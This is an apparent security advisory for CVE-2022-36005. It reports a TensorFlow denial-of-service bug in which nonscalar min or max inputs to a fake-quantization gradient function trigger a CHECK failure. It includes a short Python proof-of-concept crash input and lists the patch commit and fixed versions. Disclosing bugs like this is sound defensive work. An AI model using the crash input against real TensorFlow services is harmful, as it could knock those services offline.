TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsGradient`

TensorFlow

CVE-2022-36005 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

When tf.quantization.fake_quant_with_min_max_vars_gradient receives input min or max that is nonscalar, it gives a CHECK fail that can trigger a denial of service attack.

```python

import tensorflow as tf

import numpy as np

arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)

arg_1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)

arg_2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)

arg_3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)

arg_4=8

arg_5=False

arg_6=''

tf.quantization.fake_quant_with_min_max_vars_gradient(gradients=arg_0, inputs=arg_1,

min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6)

Patches

We have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
